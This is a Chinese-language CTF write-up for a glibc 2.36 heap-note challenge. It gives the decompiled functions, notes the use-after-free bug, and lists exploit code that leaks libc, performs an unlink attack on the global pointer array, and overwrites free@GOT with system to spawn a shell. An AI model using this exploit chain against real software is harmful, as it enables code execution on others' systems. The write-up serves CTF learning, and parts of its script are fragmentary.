题目glibc2.36 高版本带safe-linking 推断要泄露heap_base
[*] '/home/rick/Downloads/attachment/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
64位 部分aslr 没有pie
FILE *sub_40127C()
{
FILE *result; // rax
if ( *(FILE **)off_404070 != stderr
|| *(FILE **)off_404078 != stdout
|| (result = stdin, *(FILE **)off_404080 != stdin) )
{
write(2, "No! you can't do this!", 0x17uLL);
_exit(0);
}
return result;
有一个验证函数 检测是否修改了
0x404070 -> stderr
0x404078 -> stdout
0x404080 -> stdin
这三个地址存放的这三个流的地址
unsigned __int64 __fastcall add_notes(const char *a1)
{
unsigned int v1; // ebx
unsigned int v3; // [rsp+0h] [rbp-20h] BYREF
_DWORD size[5]; // [rsp+4h] [rbp-1Ch] BYREF
*(_QWORD *)&size[1] = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v3);
if ( v3 <= 0xF ) // 最大只能存16个chunk
{
printf("Size: ");
__isoc99_scanf("%u", size);
if ( size[0] <= 0x900u )
{
// 0x4FF<size<=0x900
if ( size[0] > 0x4FFu )
{
v1 = v3;
qword_4040E0[v1] = malloc(size[0]);
dword_404160[v3] = size[0];
}
else
{
puts("Too small.");
}
}
else
{
puts("Too big.");
}
}
else
{
puts("There are only 16 pages in this notebook.");
}
return *(_QWORD *)&size[1] - __readfsqword(0x28u);
}
只能存16个chunk
最大0x900 最小0x4FF
0x4040e0存的chunk地址
0x404160存的chunk的size
unsigned __int64 __fastcall delete_notes(const char *a1)
{
unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v2);
if ( v2 <= 0xF )
{
if ( qword_4040E0[v2] )
free((void *)qword_4040E0[v2]);
else
puts("Page not found.");
}
else
{
puts("There are only 16 pages in this notebook.");
}
return v3 - __readfsqword(0x28u);
}
UAF 没有给指针置0
unsigned __int64 __fastcall edit_notes(const char *a1)
{
unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v2);
if ( v2 <= 0xF )
{
if ( qword_4040E0[v2] )
{
printf("Content: ");
read(0, (void *)qword_4040E0[v2], (unsigned int)dword_404160[v2]);
}
else
{
puts("Page not found.");
}
}
else
{
puts("There are only 16 pages in this notebook.");
}
return v3 - __readfsqword(0x28u);
}
用的是0x404160的size来填 如果改了这个size是不是可以溢出
unsigned __int64 show_notes()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v1);
if ( v1 <= 0xF )
{
if ( qword_4040E0[v1] )
printf("Content: %s\n", (const char *)qword_4040E0[v1]);
else
puts("Page not found.");
}
else
{
puts("There are only 16 pages in this notebook.");
}
return v2 - __readfsqword(0x28u);
}
正常的show函数
因为最小的chunk都大于0x410了 所以tcache肯定进不去了
safe-linking只在tache
接收:u64(p.recv(5).ljust(8,b’\x00’)) << 12
而修改heap的fd指针:(heap_addr >> 12)^target_addr
new(0,0x500)
new(1,0x500)
new(2,0x500)
new(3,0x500)
delete(0)##隔着放 要不然容易触发合并
delete(2)
show(0)
ru(b"Content: ")
leak_main_arena = u64(io.recv(6).ljust(8,b'\x00'))
ls("get_decrypted_main_arena=>"+hex(leak_main_arena))
libc_base = leak_main_arena -libc.sym["_IO_2_1_stdin_"] - 0x200 -64
ls("get libc_base=>"+hex(libc_base))
'''
pwndbg> x/40gx 0x718b2d7f6cc0 -0x200
0x718b2d7f6ac0 <_IO_2_1_stdin_+64>: 0x0000718b2d7f6b04 0x0000000000000000
'''
随便找的偏移 拿到libc_base
[+] get_main_arena=>0x774ab4ff6cc0
[+] get libc_base=>0x774ab4e00000
构造假chunk打unlink
delete(3)#触发合并
new(5,0x600)#recovery idx 0
new(6,0x610)#cut chunk set idx 4 prev_size == 0x600
save_heap_addr = 0x4040e0
has_bk = save_heap_addr
has_fd = save_heap_addr +0x8
payload = p64(0)+p64(0x601)+p64(has_bk)+p64(has_fd)
edit(3,payload)#现在可以发现块有了PREV_INUSE + FD BK改变 + next_chunk的prev_size 符合我们构造的fake_chunk
delete(4)
ogg = libc_base +0x4e1c9
edit(3,p64(e.got["free"]))
edit(0,p64(libc_base+libc.sym["system"]))
edit(2,b'/bin/sh\x00')
delete(2)
#sla(b">",str(1))
#attach(io)
打完后才发现有后门,,